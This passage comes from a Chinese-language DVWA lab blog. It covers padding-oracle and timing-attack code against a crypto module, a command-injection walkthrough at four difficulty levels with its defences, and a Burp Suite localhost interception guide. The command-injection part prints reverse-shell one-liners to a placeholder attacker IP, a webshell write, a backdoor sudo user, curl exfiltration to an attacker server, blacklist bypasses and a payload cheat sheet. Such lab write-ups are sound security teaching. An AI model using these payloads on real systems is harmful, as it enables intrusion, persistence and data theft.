        decrypted_block = attack_block(block, iv, url)
        plaintext += decrypted_block
        iv = block  # 下一轮使用当前块作为IV

    return plaintext

def attack_block(block, iv, url):
    decrypted = b''

    # 逐字节破解
    for byte_pos in range(16):
        for guess in range(256):
            # 构造测试IV
            test_iv = bytearray(iv)
            # ... (复杂的padding oracle逻辑)

            # 发送测试请求
            response = requests.post(url, data={'ciphertext': base64.b64encode(test_iv + block)})

            if 'Invalid padding' not in response.text:
                # 找到正确的字节
                decrypted = bytes([guess ^ (byte_pos + 1)]) + decrypted
                break

    return decrypted

方法3：时序攻击

import time
import statistics

def timing_attack(ciphertext, url):
    times = []

    for i in range(100):
        start = time.time()
        response = requests.post(url, data={'ciphertext': ciphertext})
        elapsed = time.time() - start
        times.append(elapsed)

    # 如果响应时间明显不同，可能泄露信息
    avg_time = statistics.mean(times)
    stddev = statistics.stdev(times)

    print(f"Average time: {avg_time:.4f}s, Std Dev: {stddev:.4f}s")

Impossible 难度

攻击目标

使用现代密码学最佳实践，真正安全。

后端代码分析



// ★★★ Impossible: 使用现代密码学最佳实践 ★★★

$password = $_POST['password'] ?? '';

// ★★★ 核心防护1：使用password_hash() ★★★
// password_hash() - PHP内置的密码哈希函数
// PASSWORD_ARGON2ID - Argon2id算法（最新最安全）
//
// Argon2id的优点：
// 1. 抗GPU/ASIC攻击
// 2. 可配置的内存和时间成本
// 3. 自动生成随机盐
// 4. 内置版本管理
// 5. 2015年密码哈希竞赛冠军
$options = [
    'memory_cost' => 65536,  // 64MB内存
    'time_cost' => 4,         // 4次迭代
    'threads' => 2            // 2个线程
];

$hashed = password_hash($password, PASSWORD_ARGON2ID, $options);

echo "Password hash (Argon2id): " . $hashed;

// ★★★ 验证密码 ★★★
// password_verify() - 验证密码
// 自动处理盐和算法细节
function verify_password($password, $hash) {
    return password_verify($password, $hash);
}

// ★★★ 核心防护2：使用环境变量存储密钥 ★★★
// 不再硬编码密钥
$encryption_key = getenv('ENCRYPTION_KEY');

if (!$encryption_key) {
    die('Encryption key not configured');
}

// ★★★ 核心防护3：使用AEAD模式（AES-GCM） ★★★
// AES-GCM - Galois/Counter Mode
// 优点：
// 1. 提供加密和认证
// 2. 防止密文篡改
// 3. 高性能
// 4. 内置消息认证码（MAC）

$message = $_POST['message'] ?? '';

$method = 'aes-256-gcm';

// ★★★ 核心防护4：使用PBKDF2派生密钥 ★★★
// hash_pbkdf2() - 基于密码的密钥派生函数
// 参数：
// - 算法：sha256
// - 密码：原始密钥
// - 盐：随机盐
// - 迭代次数：100000次
// - 密钥长度：32字节（256位）
$salt = random_bytes(16);
$key = hash_pbkdf2(
    'sha256',
    $encryption_key,
    $salt,
    100000,
    32,
    true
);

// ★★★ 生成随机IV ★★★
// AES-256-GCM需要12字节IV（推荐）
$iv = random_bytes(12);

// ★★★ 认证附加数据（AAD） ★★★
// 可选的附加数据，会被认证但不加密
$aad = 'dvwa-message';

// ★★★ 加密 ★★★
$tag = '';  // 认证标签
$encrypted = openssl_encrypt(
    $message,
    $method,
    $key,
    OPENSSL_RAW_DATA,
    $iv,
    $tag,  // 输出认证标签
    $aad,  // 附加认证数据
    16     // 标签长度：16字节
);

// ★★★ 组合所有数据 ★★★
// 格式：salt + IV + tag + ciphertext
$encrypted_data = base64_encode($salt . $iv . $tag . $encrypted);

echo "Encrypted message (AES-256-GCM): " . $encrypted_data;

// ★★★ 解密函数 ★★★
function decrypt_message($encrypted_data, $encryption_key) {
    $method = 'aes-256-gcm';
    $decoded = base64_decode($encrypted_data);

    // ★★★ 提取各个部分 ★★★
    $salt = substr($decoded, 0, 16);    // 盐：16字节
    $iv = substr($decoded, 16, 12);     // IV：12字节
    $tag = substr($decoded, 28, 16);    // 标签：16字节
    $ciphertext = substr($decoded, 44); // 剩余：密文

    // ★★★ 重新派生密钥 ★★★
    $key = hash_pbkdf2(
        'sha256',
        $encryption_key,
        $salt,
        100000,
        32,
        true
    );

    // ★★★ AAD必须相同 ★★★
    $aad = 'dvwa-message';

    // ★★★ 解密并验证 ★★★
    $decrypted = openssl_decrypt(
        $ciphertext,
        $method,
        $key,
        OPENSSL_RAW_DATA,
        $iv,
        $tag,  // 验证认证标签
        $aad
    );

    // ★★★ 如果认证失败，返回false ★★★
    if ($decrypted === false) {
        throw new Exception('Decryption failed: Message authentication failed');
    }

    return $decrypted;
}

// ★★★ 额外安全措施 ★★★

// 1. 密钥轮换
function rotate_key_if_needed() {
    $key_age = time() - getenv('KEY_CREATED_TIME');
    $max_age = 30 * 24 * 3600; // 30天

    if ($key_age > $max_age) {
        // 触发密钥轮换流程
        trigger_key_rotation();
    }
}

// 2. 审计日志
function log_crypto_operation($operation, $success) {
    $log = [
        'timestamp' => date('Y-m-d H:i:s'),
        'operation' => $operation,
        'success' => $success,
        'user' => dvwaCurrentUser(),
        'ip' => $_SERVER['REMOTE_ADDR']
    ];

    file_put_contents(
        '/var/log/security/crypto.log',
        json_encode($log) . "\n",
        FILE_APPEND
    );
}

?>

完善的防护机制

多层防御：

Argon2id密码哈希 - 抗暴力破解
环境变量密钥 - 不硬编码
AES-GCM AEAD - 加密+认证
PBKDF2密钥派生 - 强密钥派生
随机盐和IV - 每次都不同
认证标签 - 防止篡改
密钥轮换 - 定期更换密钥
审计日志 - 记录所有操作

安全流程：

密码哈希：
用户密码 → Argon2id(password, random_salt, options)
→ 存储哈希

验证：
输入密码 → password_verify(input, stored_hash)
→ True/False

加密：
明文 + 密钥（环境变量）
→ PBKDF2派生实际密钥
→ AES-256-GCM加密
→ 生成认证标签
→ 输出：salt + IV + tag + ciphertext

解密：
接收：salt + IV + tag + ciphertext
→ PBKDF2派生密钥
→ AES-256-GCM解密
→ 验证认证标签
→ 成功：明文，失败：拒绝

为什么无法攻破？

所有攻击都失败：

攻击1：暴力破解密码
Argon2id → 需要大量内存和时间
64MB内存 × 4次迭代 → 暴力破解不可行

攻击2：彩虹表
随机盐 → 每个密码都有唯一哈希
彩虹表无效

攻击3：篡改密文
AES-GCM认证标签 → 任何修改都会导致验证失败

攻击4：Padding Oracle
AES-GCM不使用填充 → 不存在padding oracle

攻击5：ECB模式攻击
使用GCM模式 → ECB漏洞不存在

攻击6：获取密钥
环境变量 → 不在代码中
即使获取密文，没有密钥无法解密

防御建议

密码哈希最佳实践

// ✅ 正确：使用password_hash()
$hash = password_hash($password, PASSWORD_ARGON2ID, [
    'memory_cost' => 65536,
    'time_cost' => 4,
    'threads' => 2
]);

// 验证
if (password_verify($input_password, $hash)) {
    // 密码正确
}

// ❌ 错误
$hash = md5($password);
$hash = sha1($password);
$hash = hash('sha256', $password);

加密最佳实践

// ✅ 正确：使用AEAD模式
function encrypt_message($plaintext, $key) {
    $method = 'aes-256-gcm';
    $iv = random_bytes(12);
    $tag = '';

    $ciphertext = openssl_encrypt(
        $plaintext,
        $method,
        $key,
        OPENSSL_RAW_DATA,
        $iv,
        $tag
    );

    return base64_encode($iv . $tag . $ciphertext);
}

// ❌ 错误
// - 使用ECB模式
// - 硬编码密钥
// - 不使用IV
// - 不验证消息完整性

密钥管理

# 使用环境变量
export ENCRYPTION_KEY=$(openssl rand -hex 32)
export DATABASE_KEY=$(openssl rand -hex 32)

# 或使用密钥管理服务（KMS）
# - AWS KMS
# - Azure Key Vault
# - HashiCorp Vault

随机数生成

// ✅ 正确：密码学安全的随机数
$random = random_bytes(32);
$random = openssl_random_pseudo_bytes(32);

// ❌ 错误：不安全的随机数
$random = rand();
$random = mt_rand();
$random = uniqid();

总结对比

特性	Low	Medium	High	Impossible
密码哈希	MD5	SHA-1	SHA-256	Argon2id
盐（Salt）	❌	❌	❌	✅ 自动
加密算法	XOR	AES-ECB	AES-CBC	AES-GCM
IV	❌	❌	✅	✅
消息认证	❌	❌	❌	✅ AEAD
密钥管理	硬编码	硬编码	硬编码	环境变量
密钥派生	❌	简单hash	简单hash	PBKDF2
攻击难度	极易	简单	中等	极难

常用工具

密码破解

# Hashcat
hashcat -m 0 hashes.txt wordlist.txt    # MD5
hashcat -m 100 hashes.txt wordlist.txt  # SHA-1
hashcat -m 1400 hashes.txt wordlist.txt # SHA-256

# John the Ripper
john --format=raw-md5 hashes.txt
john --format=raw-sha1 hashes.txt

加密分析

# 检测ECB模式
from Crypto.Cipher import AES

def is_ecb(ciphertext):
    blocks = [ciphertext[i:i+16] for i in range(0, len(ciphertext), 16)]
    return len(blocks) != len(set(blocks))

实战建议

渗透测试：

✅ 识别哈希算法（长度、格式）
✅ 尝试彩虹表/暴力破解
✅ 检测加密模式（ECB/CBC）
✅ 查找硬编码密钥
✅ 测试Padding Oracle
✅ 分析随机数质量

防御清单：

✅ 使用Argon2id/bcrypt哈希密码
✅ 使用AES-GCM等AEAD模式
✅ 密钥存储在环境变量/KMS
✅ 使用PBKDF2派生密钥
✅ 使用random_bytes()生成随机数
✅ 定期密钥轮换
✅ 审计所有密码学操作

道德准则：

只在授权环境测试
不破解真实用户密码
学习是为了构建安全系统

DVWA - Command Injection (命令注入) 攻防练习详解

2025-11-20T15:31:37.093Z

漏洞简介

什么是命令注入（Command Injection）？

命令注入是指攻击者在应用程序中注入操作系统命令，使应用程序执行预期之外的系统命令。

原理：
应用程序将用户输入直接传递给系统shell执行，没有进行适当的过滤和验证。

危害：

读取敏感文件（/etc/passwd、配置文件）
修改系统文件
执行任意命令
反弹shell获取服务器控制权
提权
植入后门

常见场景：

Ping工具
DNS查询工具
文件处理工具
系统管理工具

Low 难度

攻击目标

无任何过滤的命令执行，完全暴露。

后端代码分析



// 检查是否提交了表单
// isset() - 检查变量是否已设置
// $_POST['Submit'] - 检查Submit按钮是否被点击
if( isset( $_POST[ 'Submit' ]  ) ) {

    // 获取用户输入的目标IP地址
    // $_REQUEST - 包含$_GET、$_POST、$_COOKIE的超全局数组
    // trim() - 移除字符串两端的空白字符（空格、制表符、换行符等）
    // 作用：清理用户输入前后的空格
    $target = $_REQUEST[ 'ip' ];

    // ★★★ 危险操作：直接拼接用户输入到系统命令 ★★★
    // 判断操作系统类型
    // stristr() - 不区分大小写的查找子字符串
    // PHP_OS - PHP预定义常量，返回操作系统名称（如：Windows NT、Linux）
    // 'WIN' - 检查是否为Windows系统
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {

        // ★★★ Windows系统：执行ping命令 ★★★
        // shell_exec() - 通过shell执行命令并返回输出
        // "ping -n 4 " - Windows的ping命令，-n 4表示发送4个数据包
        // . $target - 字符串连接运算符，将用户输入直接拼接到命令中
        // 问题：没有任何过滤！用户可以注入任意命令！
        // 示例危险输入：127.0.0.1 & dir
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {

        // ★★★ Linux/Unix系统：执行ping命令 ★★★
        // ping -c 4 - Linux的ping命令，-c 4表示发送4个数据包
        // 问题：同样没有任何过滤！
        // 示例危险输入：127.0.0.1; ls -la
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // 将命令执行结果存储到HTML变量中
    //  - HTML预格式化标签，保留空格和换行
    // {$cmd} - 在双引号字符串中插入变量值
    $html .= "{$cmd}
";
}

?>

漏洞分析

核心问题：

直接拼接用户输入 - 没有任何验证或过滤
使用shell_exec() - 直接执行shell命令
无输入验证 - 不检查IP格式
无黑名单 - 允许任何特殊字符

命令连接符：

符号	系统	作用	示例
`;`	Linux/Win	依次执行	`127.0.0.1; ls`
`&`	Windows	依次执行	`127.0.0.1 & dir`
`&&`	Linux/Win	前者成功才执行后者	`127.0.0.1 && whoami`
`\|`	Linux/Win	管道，前者输出作为后者输入	`127.0.0.1 \| cat /etc/passwd`
`\|\|`	Linux/Win	前者失败才执行后者	`invalid \|\| whoami`
`command`	Linux	命令替换	127.0.0.1 `whoami`
`$(command)`	Linux	命令替换	`127.0.0.1 $(ls)`

攻击步骤

基础测试

1. 简单命令注入（Linux）

# 输入：
127.0.0.1; whoami

# 执行的实际命令：
ping -c 4 127.0.0.1; whoami

# 结果：先ping，然后显示当前用户

2. 查看目录（Linux）

# 输入：
127.0.0.1; ls -la

# 查看系统信息
127.0.0.1; uname -a

# 查看当前路径
127.0.0.1; pwd

3. 读取敏感文件（Linux）

# 读取密码文件
127.0.0.1; cat /etc/passwd

# 读取shadow文件（需要权限）
127.0.0.1; cat /etc/shadow

# 读取PHP配置
127.0.0.1; cat ../../config/config.inc.php

4. Windows命令

REM 查看目录
127.0.0.1 & dir

REM 查看当前用户
127.0.0.1 & whoami

REM 查看系统信息
127.0.0.1 & systeminfo

REM 查看网络配置
127.0.0.1 & ipconfig

高级攻击

1. 反弹Shell（Linux）

# 方法1：使用netcat
127.0.0.1; nc -e /bin/bash 攻击者IP 4444

# 方法2：使用bash
127.0.0.1; bash -i >& /dev/tcp/攻击者IP/4444 0>&1

# 方法3：使用python
127.0.0.1; python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("攻击者IP",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

攻击者监听：

1 2	# 在攻击者机器上监听 nc -lvp 4444

2. 写入WebShell

# 写入PHP一句话木马
127.0.0.1; echo '' > /var/www/html/shell.php

# 访问：
http://dvwa.local/shell.php?cmd=whoami

3. 添加管理员账户（Linux）

# 添加用户
127.0.0.1; useradd -m hacker

# 设置密码
127.0.0.1; echo 'hacker:password' | chpasswd

# 添加到sudo组
127.0.0.1; usermod -aG sudo hacker

4. 数据窃取

# 压缩敏感目录
127.0.0.1; tar -czf /tmp/data.tar.gz /var/www/html

# 通过网络传输
127.0.0.1; curl -F "file=@/tmp/data.tar.gz" http://攻击者服务器/upload

使用Burp Suite

步骤：

开启Burp Suite代理
提交正常请求
在Burp中拦截请求
修改ip参数：
1
ip=127.0.0.1; cat /etc/passwd
Forward请求
查看响应

Medium 难度

攻击目标

添加了黑名单过滤，但可以绕过。

后端代码分析



if( isset( $_POST[ 'Submit' ]  ) ) {

    // 获取用户输入
    $target = $_REQUEST[ 'ip' ];

    // ★★★ 新增：黑名单过滤 ★★★
    // 定义要过滤的特殊字符数组
    // 这些是常用的命令连接符
    $substitutions = array(
        '&&' => '',  // 逻辑与，前者成功才执行后者
        ';'  => '',  // 命令分隔符，依次执行
    );

    // str_replace() - 字符串替换函数
    // 参数1：要查找的字符（数组）
    // 参数2：替换成的字符（数组）
    // 参数3：被搜索的字符串
    // 返回值：替换后的字符串
    // array_keys() - 返回数组的所有键（这里是'&&'和';'）
    // array_values() - 返回数组的所有值（这里都是空字符串''）
    // 作用：将&&和;替换为空，试图阻止命令注入
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // 执行ping命令
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    $html .= "{$cmd}
";
}

?>

新增防护

黑名单过滤 - 过滤 && 和 ;

仍存在的漏洞

黑名单不完整 - 只过滤了2个字符，还有很多其他方式
没有过滤 |、||、&、换行符等
仍使用shell_exec()

绕过方法

方法1：使用其他连接符

# 使用单个&（Windows）
127.0.0.1 & whoami

# 使用管道|
127.0.0.1 | whoami

# 使用||
invalid_ip || whoami

# 使用换行符（URL编码：%0A）
127.0.0.1%0Awhoami

方法2：在Burp Suite中测试

POST /dvwa/vulnerabilities/exec/ HTTP/1.1
...

ip=127.0.0.1+|+cat+/etc/passwd&Submit=Submit

方法3：其他绕过技巧

# 使用$()命令替换
127.0.0.1$(whoami)

# 使用反引号``
127.0.0.1`whoami`

# 使用&（单个，不是&&）
127.0.0.1 & ls

High 难度

攻击目标

更严格的黑名单，但仍有绕过方法。

后端代码分析



if( isset( $_POST[ 'Submit' ]  ) ) {

    $target = $_REQUEST[ 'ip' ];

    // ★★★ 扩展的黑名单 ★★★
    // 增加了更多的命令连接符
    $substitutions = array(
        '&'  => '',   // 单个&
        ';'  => '',   // 分号
        '| ' => '',   // 管道+空格
        '-'  => '',   // 减号（防止ping参数注入）
        '$'  => '',   // 美元符号（防止命令替换$()）
        '('  => '',   // 左括号（防止命令替换）
        ')'  => '',   // 右括号
        '`'  => '',   // 反引号（防止命令替换）
        '||' => '',   // 逻辑或
    );

    // 执行替换
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // 执行ping命令
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    $html .= "{$cmd}
";
}

?>

新增防护

更完整的黑名单 - 过滤了 &, ;, | , -, $, (, ), `, ||

仍存在的漏洞

注意：只过滤了| （管道+空格） - 可以用|（无空格）绕过
没有过滤换行符
黑名单仍不完全

绕过方法

方法1：管道符不加空格

1
2
3

# 注意：黑名单是 '| '（管道+空格）
# 我们用 '|'（只有管道，无空格）
127.0.0.1|cat /etc/passwd

原理：

// 黑名单
'| ' => ''  // 注意这里有空格

// 我们的输入
'127.0.0.1|cat'  // 没有空格，不会被过滤！

方法2：使用换行符

# URL编码的换行符：%0A
127.0.0.1%0Acat /etc/passwd

# 在Burp中测试
ip=127.0.0.1%0Awhoami

方法3：组合绕过

1 2	# 如果单个方法被拦截，可以尝试组合 127.0.0.1\|cat

Impossible 难度

攻击目标

使用白名单验证，几乎无法绕过。

后端代码分析



if( isset( $_POST[ 'Submit' ]  ) ) {

    // 检查Anti-CSRF token
    // checkToken() - DVWA自定义函数，验证CSRF token
    // 作用：防止跨站请求伪造攻击
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // 获取用户输入
    $target = $_REQUEST[ 'ip' ];

    // ★★★ 核心防护：stripslashes()去除反斜杠 ★★★
    // stripslashes() - 删除字符串中的反斜杠\
    // 作用：清理可能的转义字符
    $target = stripslashes( $target );

    // ★★★ 关键防护：白名单验证 - 将IP分割成数组 ★★★
    // explode() - 使用分隔符将字符串分割成数组
    // 参数1：分隔符（这里是'.'）
    // 参数2：要分割的字符串
    // 返回值：数组
    // 示例：'192.168.1.1' => ['192', '168', '1', '1']
    $octet = explode( ".", $target );

    // ★★★ 验证IP格式：必须是4段 ★★★
    // is_numeric() - 检查变量是否为数字或数字字符串
    // count() - 计算数组元素个数
    // ( ( count( $octet ) == 4 ) - 确保IP地址有4个部分
    // is_numeric() - 确保每个部分都是数字
    // $octet[0] >= 0 && $octet[0] <= 255 - 确保第1段在0-255范围内
    if( ( count( $octet ) == 4 ) && ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( $octet[0] >= 0 ) && ( $octet[0] <= 255 ) && ( $octet[1] >= 0 ) && ( $octet[1] <= 255) && ( $octet[2] >= 0 ) && ( $octet[2] <= 255) && ( $octet[3] >= 0 ) && ( $octet[3] <= 255) ) {

        // ★★★ 重新组合已验证的IP ★★★
        // 使用已验证的数组重新构建IP字符串
        // 这样即使原始输入包含恶意内容，也会被丢弃
        $target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];

        // 执行ping命令（现在是安全的）
        if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
            $cmd = shell_exec( 'ping  ' . $target );
        }
        else {
            $cmd = shell_exec( 'ping  -c 4 ' . $target );
        }

        $html .= "{$cmd}
";
    }
    else {
        // ★★★ IP格式不正确，输出错误信息 ★★★
        $html .= 'ERROR: You have entered an invalid IP.
';
    }
}

// 生成新的Anti-CSRF token
generateSessionToken();

?>

完善的防护机制

CSRF Token验证 - 防止跨站请求伪造
stripslashes() - 清理反斜杠
白名单验证 - 只允许标准IP格式
IP格式严格验证：
- 必须4个部分
- 每部分必须是数字
- 每部分范围0-255
重新构建输入 - 使用验证后的数据重新组合

为什么无法攻破？

白名单机制：

输入：127.0.0.1; whoami

验证过程：
1. 分割：['127', '0', '0', '1; whoami']
2. 检查第4个元素：'1; whoami'
3. is_numeric('1; whoami') = false ❌
4. 验证失败，拒绝执行
5. 输出：ERROR: You have entered an invalid IP.

任何注入尝试都会失败：

127.0.0.1|whoami    -> count != 4 ❌
127.0.0.1;whoami    -> count != 4 ❌
127.0.0.1&whoami    -> count != 4 ❌
127.0.0.1%0Awhoami  -> count != 4 ❌
127.$(whoami).0.1   -> is_numeric($(whoami)) = false ❌

即使通过验证，也会被重新构建：

输入：127.0.0.1（正常IP）
验证：通过
重新构建：$octet[0].'.'.$octet[1].'.'.$octet[2].'.'.$octet[3]
结果：127.0.0.1（原始恶意部分被丢弃）

防御建议

代码层面

避免使用系统命令函数

// 危险函数（尽量避免）
shell_exec()
exec()
system()
passthru()
popen()
proc_open()
``（反引号）

使用内置函数替代

// 不要用shell命令
shell_exec('ping ' . $ip);

// 使用PHP内置函数
if (filter_var($ip, FILTER_VALIDATE_IP)) {
    // 执行操作
}

输入验证 - 白名单

// 严格的IP验证
if (!filter_var($input, FILTER_VALIDATE_IP)) {
    die("Invalid IP");
}

// 正则表达式验证
if (!preg_match('/^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$/', $input)) {
    die("Invalid format");
}

使用参数化执行

// 不要拼接字符串
$cmd = "ping " . $user_input;  // 危险！

// 使用escapeshellarg()
$safe_arg = escapeshellarg($user_input);
$cmd = "ping " . $safe_arg;

// 或使用escapeshellcmd()
$safe_cmd = escapeshellcmd($user_input);

函数说明

escapeshellarg()

// 给参数加单引号并转义内部的单引号
$input = "127.0.0.1; whoami";
$safe = escapeshellarg($input);
// 结果：'127.0.0.1; whoami'（作为一个参数）
exec("ping -c 1 " . $safe);
// 执行：ping -c 1 '127.0.0.1; whoami'（会失败，但安全）

escapeshellcmd()

// 转义命令中的特殊字符
$input = "127.0.0.1; whoami";
$safe = escapeshellcmd($input);
// 结果：127.0.0.1\; whoami（;被转义）

架构层面

最小权限原则
- Web服务器使用低权限用户（www-data）
- 禁止sudo权限
- chroot监狱

禁用危险函数

1 2	; php.ini disable_functions = exec,passthru,shell_exec,system,proc_open,popen

使用容器隔离
- Docker容器
- 限制容器权限
- 只读文件系统

检测和监控

WAF规则

检测模式：
[;&|]
$(...)
`...`
%0A（换行符）

日志监控

1 2	// 记录所有命令执行 error_log("Command executed: " . $cmd);

总结对比

特性	Low	Medium	High	Impossible
输入验证	❌	黑名单（2个）	黑名单（9个）	✅ 白名单
过滤字符	无	&&, ;	&, ;, \| , -, $, (, ), `, \|\|	N/A
验证方式	无	简单替换	扩展替换	IP格式验证
CSRF防护	❌	❌	❌	✅
可绕过性	完全开放	容易	中等	几乎不可能
攻击示例	`; ls`	`\| ls`	`\|ls`（无空格）	无法注入

实战建议

学习路径：

Low难度 - 理解基本的命令注入
Medium难度 - 学习绕过简单黑名单
High难度 - 掌握高级绕过技巧
Impossible难度 - 理解正确的防御方法

常用Payload集合：

# 基础测试
; whoami
& whoami
| whoami
|| whoami
&& whoami

# 读取文件
; cat /etc/passwd
| cat /etc/passwd

# 列目录
; ls -la
; dir

# 反弹shell
; nc -e /bin/bash 攻击者IP 端口
; bash -i >& /dev/tcp/IP/端口 0>&1

# 写文件
; echo "恶意代码" > shell.php

工具推荐：

Burp Suite - 拦截修改请求
Commix - 自动化命令注入工具
SQLMap的os-shell模式

道德准则：

只在授权环境测试
不攻击真实系统
理解防御才能更好地防护

解决 Burp Suite 无法拦截 localhost 请求的问题

2025-11-19T13:05:02.000Z

问题描述

在使用 Burp Suite 进行 DVWA 渗透测试时，遇到以下问题：

浏览器访问 http://localhost/dvwa 时，Burp Suite 无法拦截请求
HTTP History 中看不到任何 localhost 的请求记录
Target → Site map 中可能显示 localhost，但没有具体路径
访问其他外部网站（如 http://example.com）可以正常拦截

根本原因

Chrome/Edge 等浏览器有内置的安全机制：即使配置了代理插件（如 SwitchyOmega），默认情况下也会自动绕过对 localhost 和 127.0.0.1 的代理。

这是浏览器的默认行为，用于优化本地开发环境的性能，但会导致无法通过 Burp Suite 拦截本地请求。

完整解决方案

需要同时应用以下三个方案才能彻底解决问题：

方案 A：修改 Chrome 启动参数（禁用 localhost 代理绕过）

方案 B：配置 Hosts 文件使用自定义域名

方案 C：正确配置 Burp Suite 拦截规则

方案 A：修改 Chrome 启动参数

步骤 1：关闭所有 Chrome 进程

完全关闭 Chrome 浏览器（点击右上角的 X）
打开任务管理器（Ctrl + Shift + Esc）
查找所有 chrome.exe 进程
右键点击每个进程，选择 “结束任务”
确保没有任何 Chrome 后台进程在运行

步骤 2：创建 Chrome 快捷方式

找到 Chrome 的安装位置，通常是：

1	C:\Program Files\Google\Chrome\Application\chrome.exe

或

1	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

右键点击 chrome.exe，选择 “创建快捷方式”
将快捷方式移动到桌面或其他方便访问的位置

步骤 3：修改快捷方式属性

右键点击刚创建的快捷方式
选择 “属性”
在 “目标” 字段中，找到现有的路径，例如：
1
"C:\Program Files\Google\Chrome\Application\chrome.exe"
在路径后面添加以下参数（注意有空格）：
1
--proxy-bypass-list="<-loopback>"

完整的目标应该类似：

1	"C:\Program Files\Google\Chrome\Application\chrome.exe" --proxy-bypass-list="<-loopback>"

点击 **”应用”**，然后点击 “确定”

步骤 4：通过新快捷方式启动 Chrome

重要：不要通过任务栏或其他方式启动 Chrome
只能通过刚才修改的快捷方式启动
启动后，Chrome 将不再绕过 localhost 的代理

验证方法

启动 Chrome 后，在地址栏输入：

1	chrome://version

在 “命令行” 部分，应该能看到 --proxy-bypass-list="<-loopback>" 参数。

方案 B：配置 Hosts 文件使用自定义域名

为什么需要这个方案

即使禁用了浏览器的代理绕过，某些情况下 localhost 仍然可能有问题。使用自定义域名可以彻底避免这个问题。

步骤 1：编辑 Hosts 文件

以管理员身份打开记事本：
- 点击开始菜单
- 搜索 “记事本”
- 右键点击 “记事本”
- 选择 “以管理员身份运行”
在记事本中，点击 “文件” → “打开”
导航到以下路径：
1
C:\Windows\System32\drivers\etc
在文件类型下拉菜单中，选择 “所有文件 (.)”
找到并打开 hosts 文件（没有扩展名）

步骤 2：添加自定义域名映射

在 hosts 文件的最后一行添加：

1	127.0.0.1 dvwa.local

完整的 hosts 文件内容示例：

# Copyright (c) 1993-2009 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to host names. Each
# entry should be kept on an individual line. The IP address should
# be placed in the first column followed by the corresponding host name.
# The IP address and the host name should be separated by at least one
# space.
#
# Additionally, comments (such as these) may be inserted on individual
# lines or following the machine name denoted by a '#' symbol.
#
# For example:
#
#      102.54.94.97     rhino.acme.com          # source server
#       38.25.63.10     x.acme.com              # x client host

# localhost name resolution is handled within DNS itself.
#127.0.0.1       localhost
#::1             localhost

127.0.0.1  dvwa.local

步骤 3：保存文件

点击 “文件” → “保存”
关闭记事本

步骤 4：刷新 DNS 缓存

打开命令提示符（Win + R，输入 cmd），执行：

1	ipconfig /flushdns

你应该看到：

1 2	Windows IP 配置已成功刷新 DNS 解析缓存。

步骤 5：验证配置

在命令提示符中执行：

1	ping dvwa.local

应该显示：

1 2	正在 Ping dvwa.local [127.0.0.1] 具有 32 字节的数据: 来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=128

步骤 6：修改 DVWA 访问地址

从现在开始，不要访问：

1	http://localhost/dvwa

而是访问：

1	http://dvwa.local/dvwa

方案 C：正确配置 Burp Suite 拦截规则

问题说明

即使浏览器代理配置正确，如果 Burp Suite 的拦截规则配置不当，仍然无法拦截请求。

关键配置点

❌ 错误配置

如果勾选了 **”And URL is in target scope”**，Burp 只会拦截在 Target Scope 中的 URL。如果 dvwa.local 不在 Scope 中，请求将不会被拦截。

✅ 正确配置

步骤 1：进入 Proxy Settings

在 Burp Suite 中，点击 Settings（或旧版本中的齿轮图标）
在左侧导航中，选择 Tools → Proxy
找到 Request interception rules 部分

步骤 2：配置拦截规则

必须勾选：

✅ Intercept requests based on the following rules
- 这个选项必须启用，否则拦截功能不工作

必须取消勾选：

❌ And URL is in target scope
- 取消这个选项，允许拦截所有请求，不受 Scope 限制

可选勾选（推荐保留）：

✅ Or File extension Does not match
- 条件：^gif$|^jpg$|^png$|^css$|^js$|^ico$...
- 说明：不拦截图片、CSS、JS 等静态资源
✅ Or Request Contains parameters
- 说明：拦截包含参数的请求（如登录请求）
✅ Or HTTP method Does not match
- 条件：get|post
- 说明：只拦截 GET 和 POST 请求

步骤 3：推荐的拦截规则配置

最终的拦截规则配置应该如下：

Enabled	Operator	Match type	Relationship	Condition
✅	Or	File extension	Does not match	`^gif$
✅	Or	Request	Contains parameters	-
✅	Or	HTTP method	Does not match	`get
❌	~~And~~	~~URL~~	~~Is in target scope~~	~~（取消勾选）~~

步骤 4：配置Burp Suite的proxy标签的 Response Interception Rules

在 Response interception rules 部分，类似配置：

必须勾选：

✅ Intercept responses based on the following rules

推荐配置：

✅ Or Content type header Matches → text
✅ And Request Was intercepted
✅ And Status code Does not match → ^304$
❌ And URL is in target scope（取消勾选）

配置完成后proxy配置是这样的:

—分割线—

—分割线—

—分割线—

—分割线—

步骤 5：浏览器配置如下:

1.代理端口号需要和proxy配置中的Proxy listeners一致

2.不代理的地址列表不能有localost或者127.0.0.1

步骤 6：Burp Suite的Proxy标签的HTTP history的filter配置:

1.需要勾选上HTML

步骤 7：保存并测试

配置完成后，关闭 Settings 窗口
确保 Proxy → Intercept 显示 “Intercept is on”
在浏览器中访问 http://dvwa.local/dvwa
应该能在 Burp Suite 中看到被拦截的请求

完整验证流程

第一步：验证基础配置

✅ Burp Suite Proxy 监听在 127.0.0.1:8082
✅ SwitchyOmega 配置代理为 localhost:8082
✅ 浏览器当前使用 “burp suite” 情景模式

第二步：验证 Chrome 启动参数

